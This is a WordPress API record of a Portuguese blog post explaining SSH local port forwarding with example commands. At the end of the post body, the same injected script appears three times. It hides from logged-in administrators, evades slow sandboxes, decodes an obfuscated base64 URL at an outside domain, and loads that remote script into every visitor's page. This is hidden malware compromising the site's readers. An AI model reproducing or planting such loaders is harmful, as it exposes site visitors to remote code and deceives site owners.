{"id":4173,"date":"2015-09-21T19:47:40","date_gmt":"2015-09-21T22:47:40","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4173"},"modified":"2025-10-26T22:31:46","modified_gmt":"2025-10-27T01:31:46","slug":"tunel-ssh","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2015\/09\/21\/tunel-ssh\/","title":{"rendered":"T\u00fanel SSH"},"content":{"rendered":"<p>Por motivo de seguran\u00e7a, em algumas situa\u00e7\u00f5es voc\u00ea n\u00e3o tem acesso direto ao servidor alvo.\u00a0 Contudo, liberam acesso SSH \u00e0 uma outra m\u00e1quina que acessa esse servidor e voc\u00ea precisa utilizar aplicativos \u00e0 partir da sua m\u00e1quina, mas acessando o servidor alvo. Como resolver esse problema de maneira transparente? Para isso, existe o t\u00fanel SSH.<\/p>\n<p>Esse t\u00fanel pode ser contemplado pelo seguinte comando:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">ssh -f USUARIO@SERVIDORCOMACESSO -L PORTAACESSAR:SERVIDORACESSAR:PORTAORIGINAL -N<\/pre>\n<p>O par\u00e2metro mais importante \u00e9 o -L que \u00e9 respons\u00e1vel por mapear qual porta voc\u00ea ir\u00e1 acessar pela sua m\u00e1quina (PORTAACESSAR), de qual servidor (SERVIDORACESSAR), e qual porta desse servidor voc\u00ea ir\u00e1 acessar (PORTAORIGINAL).<\/p>\n<p>Por exemplo, se eu quero acessar o servidor de AD que est\u00e1 dispon\u00edvel no servidor 192.168.18.6 e na porta 389 \u00e0 partir da minha m\u00e1quina na porta 2000, sendo que s\u00f3 tenho acesso ao servidor 192.168.18.1, executo o seguinte comando:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">ssh -f thiago@192.168.18.1 -L 2000:192.168.18.6:2000 -N<\/pre>\n<p>Com isso, tenho acesso ao servidor de AD da m\u00e1quina 192.168.18.6 pela porta 2000 da m\u00e1quina 192.168.18.1, que seria a \u00fanica m\u00e1quina que eu deveria ter acesso.<\/p>\n<p>O par\u00e2metro -f especifica que o SSH deve rodar em background ap\u00f3s informar a senha. O -N especifica que nenhum comando remoto ser\u00e1 executado, ou seja, s\u00f3 ir\u00e1 fazer o port forward utilizado no nosso t\u00fanel.<\/p>\n<p>Agora \u00e9 s\u00f3 aproveitar esse recurso que \u00e9 muito \u00fatil quando temos acesso limitados \u00e0 servidores ou necessitamos fazer port forwading.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por motivo de seguran\u00e7a, em algumas situa\u00e7\u00f5es voc\u00ea n\u00e3o tem acesso direto ao servidor alvo.\u00a0 Contudo, liberam acesso SSH \u00e0 uma outra m\u00e1quina que acessa esse servidor e voc\u00ea precisa utilizar aplicativos \u00e0 partir da sua m\u00e1quina, mas acessando o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2015\/09\/21\/tunel-ssh\/\">Continue lendo  <span class=\"screen-reader-text\">  T\u00fanel SSH<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[64,1],"tags":[],"class_list":["post-4173","post","type-post","status-publish","format-standard","hentry","category-linux","category-semcategoria"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4173","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4173"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4173\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4173"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4173"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4173"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}